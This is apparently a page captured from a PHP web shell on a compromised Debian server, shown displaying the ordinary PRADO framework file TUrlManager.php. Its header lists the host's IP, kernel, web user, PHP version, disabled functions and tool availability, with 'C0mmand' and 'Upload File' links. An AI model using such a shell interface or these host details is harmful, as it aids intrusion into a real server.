|
Server IP : 10.2.73.233 / Your IP : 216.73.216.223 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ifk/web/assets/../prado4.3.2/Caching/../Web/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* TUrlManager class file
*
* @author Qiang Xue <qiang.xue@gmail.com>
* @link https://github.com/pradosoft/prado
* @license https://github.com/pradosoft/prado/blob/master/LICENSE
*/
namespace Prado\Web;
/**
* TUrlManager class
*
* TUrlManager is the base class for managing URLs that can be
* recognized by PRADO applications. It provides the default implementation
* for parsing and constructing URLs.
*
* Derived classes may override {@link constructUrl} and {@link parseUrl}
* to provide customized URL schemes.
*
* By default, {@link THttpRequest} uses TUrlManager as its URL manager.
* If you want to use your customized URL manager, load your manager class
* as an application module and set {@link THttpRequest::setUrlManager THttpRequest.UrlManager}
* with the ID of your URL manager module.
*
* @author Qiang Xue <qiang.xue@gmail.com>
* @since 3.0.6
*/
class TUrlManager extends \Prado\TModule
{
/**
* Constructs a URL that can be recognized by PRADO.
*
* This method provides the actual implementation used by {@link THttpRequest::constructUrl}.
* Override this method if you want to provide your own way of URL formatting.
* If you do so, you may also need to override {@link parseUrl} so that the URL can be properly parsed.
*
* The URL is constructed as the following format:
* /entryscript.php?serviceID=serviceParameter&get1=value1&...
* If {@link THttpRequest::setUrlFormat THttpRequest.UrlFormat} is 'Path',
* the following format is used instead:
* /entryscript.php/serviceID/serviceParameter/get1,value1/get2,value2...
* If {@link THttpRequest::setUrlFormat THttpRequest.UrlFormat} is 'HiddenPath',
* then entryscript.php will be hidden and the following format is used instead:
* /serviceID/serviceParameter/get1,value1/get2,value2...
* In order to use the 'HiddenPath' format you need proper url rewrite configuration;
* here's an example for Apache's .htaccess:
* <cdde>
* Options +FollowSymLinks
* RewriteEngine On
* RewriteCond %{REQUEST_FILENAME} !-d
* RewriteCond %{REQUEST_FILENAME} !-f
* RewriteRule ^(.*)$ index.php/$1 [L]
* </code>
* @param string $serviceID service ID
* @param string $serviceParam service parameter
* @param array $getItems GET parameters, null if not provided
* @param bool $encodeAmpersand whether to encode the ampersand in URL
* @param bool $encodeGetItems whether to encode the GET parameters (their names and values)
* @return string URL
* @see parseUrl
*/
public function constructUrl($serviceID, $serviceParam, $getItems, $encodeAmpersand, $encodeGetItems)
{
$url = $serviceID . '=' . urlencode($serviceParam);
$amp = $encodeAmpersand ? '&' : '&';
$request = $this->getRequest();
if (is_array($getItems) || $getItems instanceof \Traversable) {
if ($encodeGetItems) {
foreach ($getItems as $name => $value) {
if (is_array($value)) {
$name = urlencode($name . '[]');
foreach ($value as $v) {
$url .= $amp . $name . '=' . urlencode($v);
}
} else {
$url .= $amp . urlencode($name) . '=' . urlencode($value);
}
}
} else {
foreach ($getItems as $name => $value) {
if (is_array($value)) {
foreach ($value as $v) {
$url .= $amp . $name . '[]=' . $v;
}
} else {
$url .= $amp . $name . '=' . $value;
}
}
}
}
switch ($request->getUrlFormat()) {
case THttpRequestUrlFormat::Path:
return $request->getApplicationUrl() . '/' . strtr($url, [$amp => '/', '?' => '/', '=' => $request->getUrlParamSeparator()]);
case THttpRequestUrlFormat::HiddenPath:
return rtrim(dirname($request->getApplicationUrl()), '/') . '/' . strtr($url, [$amp => '/', '?' => '/', '=' => $request->getUrlParamSeparator()]);
default:
return $request->getApplicationUrl() . '?' . $url;
}
}
/**
* Parses the request URL and returns an array of input parameters.
* This method is automatically invoked by {@link THttpRequest} when
* handling a user request.
*
* In general, this method should parse the path info part of the requesting URL
* and generate an array of name-value pairs according to some scheme.
* The current implementation deals with both 'Get' and 'Path' URL formats.
*
* You may override this method to support customized URL format.
* @return array list of input parameters, indexed by parameter names
* @see constructUrl
*/
public function parseUrl()
{
$request = $this->getRequest();
$pathInfo = trim($request->getPathInfo(), '/');
if (($request->getUrlFormat() === THttpRequestUrlFormat::Path ||
$request->getUrlFormat() === THttpRequestUrlFormat::HiddenPath) &&
$pathInfo !== '') {
$separator = $request->getUrlParamSeparator();
$paths = explode('/', $pathInfo);
$getVariables = [];
foreach ($paths as $path) {
if (($path = trim($path)) !== '') {
if (($pos = strpos($path, $separator)) !== false) {
$name = substr($path, 0, $pos);
$value = substr($path, $pos + 1);
if (($pos = strpos($name, '[]')) !== false) {
$getVariables[substr($name, 0, $pos)][] = $value;
} else {
$getVariables[$name] = $value;
}
} else {
$getVariables[$path] = '';
}
}
}
return $getVariables;
} else {
return [];
}
}
}